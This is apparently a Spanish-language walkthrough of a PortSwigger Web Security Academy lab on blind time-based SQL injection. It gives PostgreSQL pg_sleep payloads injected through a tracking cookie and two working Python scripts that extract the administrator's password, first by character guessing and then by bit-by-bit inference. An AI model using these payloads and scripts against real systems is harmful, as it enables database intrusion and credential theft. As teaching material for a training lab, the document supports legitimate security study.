Ejercicio practico de inyección ciega basada en tiempo
Ejercicio basado en el laboratorio “Lab: Blind SQL injection with time delays and information retrieval” de Web Security Academy (PortSwigger).
Consigna
Este laboratorio contiene una vulnerabilidad de inyección de SQL ciega. La aplicación usa una cookie de rastreo (tracking) para análisis y ejecuta una consulta SQL con el valor de esta cookie.
Los resultados de la consulta SQL no se devuelven, y la aplicación no responde de manera diferente en función de si la consulta devuelve filas o causa un error. Sin embargo, dado que la consulta se ejecuta sincrónicamente, es posible activar retrasos de tiempo condicionales para inferir información.
La base de datos contiene una tabla diferente llamada users
, con columnas llamadas username
y password
.
Para resolver el laboratorio, obtener el usuario y contraseña del usuario administrator
e iniciar sesión con estas credenciales.
Resolución manual + automatización con Python
Luego de un primer acceso a la aplicación y por sugerencia de la consigna, analizando las cookies se observa que figura una llamada TrackingId
con un valor alfanumérico. Para modificarla en pedidos siguientes es pertinente usar un proxy de ataque como OWASP ZAP para practicidad.
Inicialmente podemos validar la existencia de la vulnerabilidad de cualquiera de las formas mencionadas en 4.3 Basadas en tiempo para cada tipo de base. Por lo que modificando TrackingId
de la siguiente manera se puede validar la que resulta válida:
TrackingId=ggg'||(SELECT pg_sleep(5))--
De este payload válido se deduce que el DBMS es PostgreSQL y variando los segundos de demora en pg_sleep
se logra inferir un tiempo lo más bajo posible que no se confunda con una demora común de respuesta.
Antes de extraer la contraseña del administrador y es pertinente conocer la longitud de la misma. Basado en el ejemplo de demora condicional para PostgreSQL que se encuentra en la SQL injection cheat sheet de PortSwigger, este es un posible fragmento de SQL que funciona:
SELECT CASE WHEN (LENGTH(password)=1)
THEN pg_sleep(5) ELSE pg_sleep(0) END
FROM users WHERE username='administrator'
Reemplazándolo en la cookie:
TrackingId=ggg'||(SELECT CASE WHEN (LENGTH(password)=1) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='administrator')--
De esta manera solo se debe ir variando el número de largo comparado del número, manualmente o automatizado como se explica en los ejercicios anteriores (con Fuzzer de OWASP ZAP o Intruder/Turbo Intruder de Burp Suite). Como en los otros ejercicios, la longitud es 20.
Para extraer la contraseña, teniendo en cuenta que se conoce la tabla, las columnas y hasta el nombre del usuario, una forma simple y eficaz sería con el siguiente fragmento de SQL:
SELECT CASE WHEN SUBSTRING(password,%d,1)='%s'
THEN pg_sleep(5) ELSE pg_sleep(0) END
FROM users WHERE username='administrator')
Dado que el enfoque para automatizar la solución es con Python, en lugar de un número para posición del substring o un caracter a comparar con el substring, se utilizan los marcadores de posición %d
y %s
respectivamente. Esto permite sustituir con reemplazos de Python tales posiciones con valores reales de esos tipos de datos (int
y string
). De esta manera se puede ir probando entre las diferentes combinaciones en %d
(para iterar entre cada posición de la contraseña del 1 al 20) y %s
(para iterar sobre todas posibles opciones de caracteres alfanuméricos).
Para automatizar las consultas, el siguiente es un ejemplo de script básico en Python 3 en el que apoyarse:
#!/usr/bin/python3
import requests,time,sys,string
# URL del laboratorio
url = 'https://LAB-ID.web-security-academy.net'
# Caracteres alfanuméricos (sin mayúsculas)
characters = string.ascii_lowercase + string.digits
password = ""
cookie = ("XYZ'||(SELECT CASE WHEN SUBSTRING(password,%d,1)='%s' "
"THEN pg_sleep(2) ELSE pg_sleep(0) END "
"FROM users WHERE username='administrator')--")
print("[*] Iniciando SQLi")
# Posiciones de la contraseña del 1 al 20
for position in range(1,21):
for character in characters:
cookies = { "TrackingId": cookie % (position, character) }
time_start=time.time()
requests.get(url, cookies=cookies)
time_end = time.time()
# Tiempo de respuesta mayor a 2 segundos (inyección exitosa)
if time_end - time_start > 2:
password += character
sys.stdout.write(character)
sys.stdout.flush()
break
print("\n[+] Password: %s" % (password))
Para este ejemplo se tuvo en cuenta que la contraseña del administrador solo posee letras minúsculas y números. En un caso diferente, habría que incluir dentro de la lista characters
todos los caracteres posibles para la contraseña (letras mayúsculas y caracteres especiales).
Optimización con conversión binaria
La desventaja de iterar por lista de caracteres es que requiere una alta cantidad de consultas para probar todas las posibles combinaciones, si bien se realiza mediante un script para automatizarlo, para optimizar la cantidad de consultas, es conveniente apoyarse en los consejos de optimización descritos en la sección 4.1 Inyección SQL ciega con respuestas condicionales.
La optimización de utilizar una conversión a binario del caracter a adivinar implica convertirlo primero a su representación numérica (con ASCII()
), luego a byte con un cast (::bit(8)
) y finalmente tomar bit por bit de ese byte resultante. Cada bit se compara con 0
o 1
y el resultado se acumula hasta completar 8 pedidos. Completado este proceso, se obtiene un byte que es directamente convertible a caracter.
La consulta condicional SQL pasa a ser:
SELECT CASE WHEN
SUBSTRING(ASCII(SUBSTRING(password,%d,1))::bit(8),%d,1)=0::bit(1)
El primer %d
corresponde a la posición de caracter de contraseña (1 a 20) y el segundo a la posición de bit (1 a 8). El script modificado para reconstruir cada byte es el siguiente:
#!/usr/bin/python3
import requests,time,sys
# URL del laboratorio
url = 'https://LAB-ID.web-security-academy.net'
password = ""
cookie = ("XYZ'||(SELECT CASE WHEN SUBSTRING(ASCII(SUBSTRING(password,%d,1))::bit(8),%d,1)=0::bit(1) "
"THEN pg_sleep(2) ELSE pg_sleep(0) END "
"FROM users WHERE username='administrator')--")
print("[*] Iniciando SQLi")
# Posiciones de la contraseña del 1 al 20
for position in range(1,21):
byte = ""
# Posiciones de bit del 1 al 8
for bit_position in range(1,9):
cookies = { "TrackingId": cookie % (position, bit_position) }
time_start=time.time()
requests.get(url, cookies=cookies)
time_end = time.time()
# Tiempo de respuesta mayor a 2 segundos (inyección exitosa)
if time_end - time_start > 2:
byte += "0"
else:
byte += "1"
# Conversión del entero en base 2
extracted_chr = chr(int(byte, 2))
password += extracted_chr
sys.stdout.write(extracted_chr)
sys.stdout.flush()
print("\n[+] Password: %s" % (password))